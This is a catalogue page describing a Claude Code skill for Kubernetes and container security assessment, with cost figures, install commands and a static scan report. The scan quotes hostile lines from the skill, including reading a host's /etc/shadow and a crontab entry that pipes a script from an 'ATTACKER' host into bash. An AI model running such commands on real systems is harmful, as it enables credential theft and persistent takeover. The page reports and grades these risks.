container-k8s-security

container-k8s-security is a skill for Claude Code from ShulkwiSEC/bb-huge. It costs 137 tokens per session (13,469 once invoked), scanned D, original, MIT.

A security assessment guide for containers and Kubernetes, a system for running and managing containers at scale.

In plain words
What is it for?
Use it to review container escapes, Docker and containerd sockets, Kubernetes permissions, API servers, image supply chains, network separation, and cloud metadata access.
Why use it?
It helps find isolation breaks, exposed control interfaces, excessive permissions, leaked secrets, unsafe images, and weak cluster settings.

Skill for Claude Code

Written for Claude Code: user-invocable in frontmatter. Also seen: positional $N argument; mentions Claude Code; mentions OpenCode.

Good fit Use it to review container escapes, Docker and containerd sockets, Kubernetes permissions, API servers, image supply chains, network separation, and cloud metadata access.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/shulkwisec/bb-huge/container-k8s-security
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add ShulkwiSEC/bb-huge --skill container-k8s-security
Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for container-k8s-security

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/container-k8s-security/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/container-k8s-security)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/container-k8s-security"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/container-k8s-security/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for container-k8s-security

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/container-k8s-security"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/container-k8s-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 137 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 13,469 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 6 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00137 $0.13469
Opus 5 $0.00068 $0.06735
Sonnet 5 $0.00027 $0.02694
Haiku 4.5 $0.00014 $0.01347

Measured 6d ago against content hash 68b6b009853d, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade D, and why

container-k8s-security scanned grade D with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

kali(command="curl -sk https://TARGET:2379/v3/kv/range -X POST -H 'Content-Type: application/json' -d '{\"key\": \"L3JlZ2lzdHJ5\"}' 2>/dev/null | head -100")

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

# Dump all env vars — K8s injects service discovery info

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat /mounted-host-path/etc/shadow 2>/dev/null

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

echo "* * * * * root curl http://ATTACKER/shell.sh | bash" >> /mounted-host-path/etc/crontab

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

| Cloud Instance Metadata | T1552.005 | SSRF to 169.254.169.254, cloud credential theft |

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

| `kali(command=...)` | Kali tools: trivy, kubectl, curl, kube-bench, docker |
skills/curated/container-k8s-security/SKILL.md · 1,070 lines

How it starts

The opening of the file, as written. The whole thing — 1,070 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Container & Kubernetes Security Assessment

You are an expert container and Kubernetes security engineer performing a comprehensive assessment. Your goal: systematically identify every attack vector in the target environment — container escapes, Kubernetes misconfigurations, RBAC abuse, exposed secrets, image supply chain weaknesses, network segmentation failures, and missing security controls — from both external and internal (compromised pod) perspectives.

This skill covers all 22 Kubernetes Goat attack scenarios and the full OWASP Kubernetes Top 10.

Request: $ARGUMENTS


CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

Trigger Chain Mandatory? Claude Code opencode
After session(action="complete") /gh-export OPTIONAL — user request only Skill(skill="gh-export") cat ~/.config/opencode/commands/gh-export.md
Container escape achieved /post-exploit MANDATORY Skill(skill="post-exploit") cat ~/.config/opencode/commands/post-exploit.md
Default credentials found on services /credential-audit OPTIONAL Skill(skill="credential-audit") cat ~/.config/opencode/commands/credential-audit.md
Architecture review needed /threat-modeling OPTIONAL Skill(skill="threat-modeling") cat ~/.config/opencode/commands/threat-modeling.md

Tools Available

Tool Use for
session(action="start", options={...}) Define target, scope, depth, and hard limits — always call this first
session(action="complete", options={...}) Mark the scan done and write final notes
scan(tool="nuclei", ...) Kubernetes/Docker vulnerability templates
scan(tool="nmap", ...) Service discovery (API servers, etcd, kubelet, NodePorts)
kali(command=...) Kali tools: trivy, kubectl, curl, kube-bench, docker
http(action="request", ...) Direct API probing — K8s API server, etcd, kubelet, Docker API, registries
http(action="save_poc", ...) Save a confirmed exploit as a raw .http file in pocs/
report(action="finding", data={...}) Log a confirmed vulnerability with evidence to findings.json
report(action="diagram", data={...}) Save a Mermaid diagram (K8s topology, attack paths) to findings.json
report(action="dashboard", data={"port": 7777}) Serve dashboard.html at localhost:7777
report(action="note", data={...}) Write a reasoning note or decision to the session log

Read the full file on GitHub · 1,070 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 1,070 lines · 137 tokens per session scan D 68b6b009853d

Subscribe to this mod's changes

container-k8s-security is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 137 tokens to every session and 13,469 once invoked, about $0.0007 per session on Opus 5. A static security scan graded it D with 6 findings (sends data to an external url, harvests environment variables, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.